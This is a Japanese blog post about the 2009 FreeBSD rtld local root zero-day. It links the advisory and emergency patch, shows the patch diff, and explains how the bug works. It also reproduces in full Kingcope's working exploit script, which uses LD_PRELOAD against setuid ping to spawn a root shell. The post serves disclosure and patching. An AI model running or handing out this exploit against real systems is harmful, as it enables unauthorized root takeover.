うぉ。。。FreeBSDゼロデイ。。。

2009/12/1-1

追記:The FreeBSD Project Security Advisory : Improper environment sanitization in rtld(1)

追記2:404 Blog Not Found: #FreeBSD - local r00t zeroday の対策



Full Disclosure: ** FreeBSD local r00t zeroday」が出ています。 ローカルでroot権限が取得できてしまいます。 メーリングリストによると影響を受けるのとされているのが、FreeBSD 8.0, 7.1, 7.0のようです。 誰でも実行可能な実証コードが広く公開されてしまったので、FreeBSDをご利用の方は対応した方が良いのかも知れません。

早速緊急パッチが以下のURLで公開されています。
アナウンス:http://home.jp.freebsd.org/cgi-bin/showmail/announce-jp/1651
パッチ:http://people.freebsd.org/~cperciva/rtld.patch

緊急パッチの内容は以下のようになっているのですが、これを見ると今回のexploitはunsetenvとgetenvの違いを悪用しているようです。


Index: rtld.c
===================================================================
--- rtld.c	(revision 199977)
+++ rtld.c	(working copy)
@@ -366,12 +366,12 @@
      * future processes to honor the potentially un-safe variables.
      */
     if (!trust) {
-        unsetenv(LD_ "PRELOAD");
-        unsetenv(LD_ "LIBMAP");
-        unsetenv(LD_ "LIBRARY_PATH");
-        unsetenv(LD_ "LIBMAP_DISABLE");
-        unsetenv(LD_ "DEBUG");
-        unsetenv(LD_ "ELF_HINTS_PATH");
+        if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+	    unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+	    unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+		_rtld_error("environment corrupt; aborting");
+		die();
+	}
     }
     ld_debug = getenv(LD_ "DEBUG");
     libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;


投稿されたexploitコードが以下のようなシェルスクリプトになっているのですが、ポイントとしては以下のような点がありそうです。

  • env.cでenvironを塗りつぶしている
  • environ[0]にゴミを入れている
  • environ[1]に LD_PRELOAD=自分が作ったroot権限取得用ライブラリ としている
  • rootにsetuidされているプログラムをexeclしている(このサンプルではpingですが、ping6でもtracerouteでも恐らく同様に実行できてしまうと思います。pingはRAWソケットを開く必要があるのでrootにsetuidされています)
  • LD_PRELOADで指定されているライブラリは/bin/shをsystem()で実行している(/bin/shを呼び出すのが以下のサンプルだとrootにsetuidされたpingコマンドなので、root権限のシェルが実行されてしまう)
Full Disclosure: ** FreeBSD local r00t zeroday」より
====

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include 

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include 
#include 
#include 
#include 

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env


で、これが何故発生してしまうかですが、unsetenv()とgetenv()の違いがありそうです。 パッチが作成されたFreeBSD 8.0のlibexec/rtld-elf/rtld.cを見ると、taintedなプロセスではLD_PRELOADなどをunsetenv()で無効にしようとしています。 しかし、lib/libc/stdlib/getenv.cを見るとunsetenv()は__build_env()が「environment corrupt; unable to find 」というメッセージを表示しながら失敗します。 rtld.cの369行目付近にあるunsetenv(LD_ "PRELOAD")がenviron[0]に引っかかって失敗する形ですかね? 一方で、同じファイル内で宣言されているgetenv()はenviron[0]のゴミを無視して次のenviron[1]を取得出来てしまうというところを突いた物と推測しました。

こういうのがあるから怖いですね。。。 exploit実証コードがセキュリティアップデートが普及する前に配布されてしまったので、ご注意下さい。 対処はお早めに。。。

なお、絶対にこのFull Disclosureで公開されているスクリプトを興味本位で他人の環境で実行しないで下さい。犯罪です。 どうしても試したい場合は、VMWareなどに自前でFreeBSDをインストールして、自分の環境内で実行するなどの方法があるのかも知れません。

最近のエントリ

過去記事

過去記事一覧

IPv6基礎検定

YouTubeチャンネルやってます!